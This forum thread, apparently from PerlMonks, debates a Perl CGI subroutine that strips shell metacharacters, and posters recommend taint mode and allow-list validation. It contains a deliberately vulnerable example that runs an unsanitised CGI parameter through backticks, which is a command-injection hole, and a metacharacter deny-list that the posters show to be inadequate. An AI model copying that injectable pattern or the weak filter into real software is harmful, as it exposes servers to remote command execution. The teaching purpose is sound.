The first rule of writing secure web applications is to never trust your input. If your code assumes that the value of a particular parameter is in a particular format then you should use a regex or similar to confirm/enforce that assumption. There are plenty of other potentially dangerous operations apart from those you list. Enabling Perl's taint mode forces the programmer to think more about what input they should accept and what operations are potentially dangerous.

Having said that, the subroutine you supply does not confirm that input matches expectations. Instead, it looks for some bizarre literal sequence of characters and removes them if they're there. This would do absolutely nothing to achieve the stated purpose of ensuring that "nobody can crack the box through his scripts".

I think the intent there was to do a tr/// and remove "unsafe" characters; e.g., |, >, <, etc. But the guy apparently had no clue what he was doing. ;)
The sub was obviously not tested; otherwise, it would be obvious that it doesn't work...

--perlplexer

I also initially wondered whether it was meant to be a tr/// rather than a s/// but the presence of &#91; in the pattern seemed to contradict that assumption. The fact that square brackets were being treated as potentially evil led me to wonder if the code had originated in a Tcl script :-)

Actually, he's been using it in his scripts for over a year now.



antirice    
The first rule of Perl club is - use Perl
The ith rule of Perl club is - follow rule i - 1 for i > 1

If the data isn't suppose to contain those characters, you have nothing to lose by filtering them out.

Abigail

Bit like mounting a paper shreader in your letterbox as defence against junk mail! system and eval calls are some of the more obvious places that tainted or untrustworthy data can cause havoc. For example, if you were blindly running

my $cmd = '/usr/bin/file ' . $q->param('object');
my $mimetype = `$cmd`;
[download]

Writing to a database without untainting input can also create grief, try removing an LDAP entry that has an equals sign '=' as the first character of it's CN "accidentally" inserted

As a general rule it's safer to remove anything that doesn't match a safe pattern, rather than anything that matches an unsafe pattern. There is even an old CERT warning about this with examples in several languages, including Perl.

Typically the best thing to do is run Perl in Taint mode (sometimes annoying on NT/IIS) and carefully de-taint your input data. As Abigail-II says though if it's not clear the next coder could removed it if they don't understand it.

For example, this de-taints the data, and only allows though data made up of: dashes; alpha-numerics; white-spaces and the at-symbol.

$output = $1 if ($input =~ /^([-\w\s\@]+)$/);
[download]

See also:

• Ovid's CGI Course: CGI Security
• Perl Training Australia: Perl CGI (PDF) Chapter six

sub makeSafe{
  my $value = $_[0];
  if($value =~ m/[;><\*`\|]/){
    $value =~ s/[;><\*`\|]//g;
  }
  return $value;
}
[download]

antirice    
The first rule of Perl club is - use Perl
The ith rule of Perl club is - follow rule i - 1 for i > 1

Well, the intent behind the code is kinda questionable, but let's improve it so you have something to show him.

sub makesafe
{
foreach(@_)
  {tr/;><\*`\|//d;}
}
[download]

Now you can pass it any number of arguments you want and it's easier to read.

what about 8bit set chars? are they safe? possible sql code? quotes? cgi meta chars like '%', '&', '=' and '?'? It's hard to exhaust this list of possiblities.

Instead of filtering out what may be bad, we filtering in what is okay.

tr/a-zA-Z0-9.,_-//cd; # If, for example, alphaneumericals and
                       # '.', ',', '_', and '-' are legal inputs.
                       # Anything else is zapped.
                       # this is done by complementing the list
                       # /c tells the engine to translate anything
                       # *not* in the list.
[download]



-nuffin
zz zZ Z Z #!perl